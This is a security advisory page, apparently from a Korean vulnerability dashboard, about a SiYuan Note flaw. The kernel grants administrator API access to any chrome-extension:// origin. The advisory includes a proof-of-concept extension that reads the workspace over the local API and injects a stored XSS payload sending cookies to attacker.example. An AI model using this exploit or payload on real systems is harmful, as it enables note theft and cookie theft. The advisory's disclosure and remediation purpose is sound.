Kestrel
대시보드로 돌아가기
CVE-2026-54069CRITICALMITRENVDGHSA대응게시일: 2026. 06. 24.수정일: 2026. 07. 10.

SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
critical

이론적 심각도 점수

EPSS
0.6%상위 53.8%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.

Affected Versions

SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).

Vulnerability Details

Blanket chrome-extension:// Origin Trust (CWE-346)

In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:

text
1if strings.HasPrefix(origin, "chrome-extension://") {
2 // skip auth
3}

At session.go:284, the request is assigned RoleAdministrator:

text
1c.Set("role", model.RoleAdministrator)

The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.

The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit host_permissions) can access all admin endpoints.

Proof of Concept

Unauthenticated admin API access via browser extension:

A minimal Chrome extension with only default permissions:

text
1{
2 "manifest_version": 3,
3 "name": "SiYuan PoC",
4 "version": "1.0",
5 "background": {
6 "service_worker": "bg.js"
7 }
8}
sql
1// bg.js -- runs as chrome-extension://<id>
2// No special host_permissions needed; localhost is accessible by default
3
4// 1. Verify admin access
5fetch('http://127.0.0.1:6806/api/system/getConf', {
6 method: 'POST',
7 headers: { 'Content-Type': 'application/json' },
8 body: '{}'
9}).then(r => r.json()).then(data => {
10 console.log('[PoC] Admin API access confirmed:', data.code === 0);
11});
12
13// 2. Exfiltrate workspace data
14fetch('http://127.0.0.1:6806/api/query/sql', {
15 method: 'POST',
16 headers: { 'Content-Type': 'application/json' },
17 body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
18}).then(r => r.json()).then(data => {
19 console.log('[PoC] Exfiltrated blocks:', data.data?.length);
20});
21
22// 3. Inject stored XSS payload into a note
23fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
24 method: 'POST',
25 headers: { 'Content-Type': 'application/json' },
26 body: JSON.stringify({ notebook: '', path: '/' })
27}).then(r => r.json()).then(tree => {
28 const firstDoc = tree.data?.files?.[0];
29 if (!firstDoc) return;
30
31 fetch('http://127.0.0.1:6806/api/block/insertBlock', {
32 method: 'POST',
33 headers: { 'Content-Type': 'application/json' },
34 body: JSON.stringify({
35 dataType: 'markdown',
36 data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">',
37 parentID: firstDoc.id
38 })
39 });
40});

The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.

Impact

  • Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel
  • Data exfiltration of the entire workspace via /api/query/sql, /api/filetree/, /api/export/
  • Stored XSS injection via admin API endpoints (/api/block/insertBlock, /api/attr/setBlockAttrs), persisted in the user's notes
  • Configuration tampering via /api/system/setConf, enabling persistence and further attack surface expansion
  • Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user

Suggested Remediation

Remove blanket chrome-extension:// allowlist:

text
1--- a/kernel/model/session.go
2+++ b/kernel/model/session.go
3@@ -274,9 +274,6 @@
4 func CheckAuth(c *gin.Context) {
5 origin := c.GetHeader("Origin")
6- if strings.HasPrefix(origin, "chrome-extension://") {
7- // Allow chrome extension requests
8- } else
9 if !isValidOrigin(origin) {
10 c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"})
11 return

If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.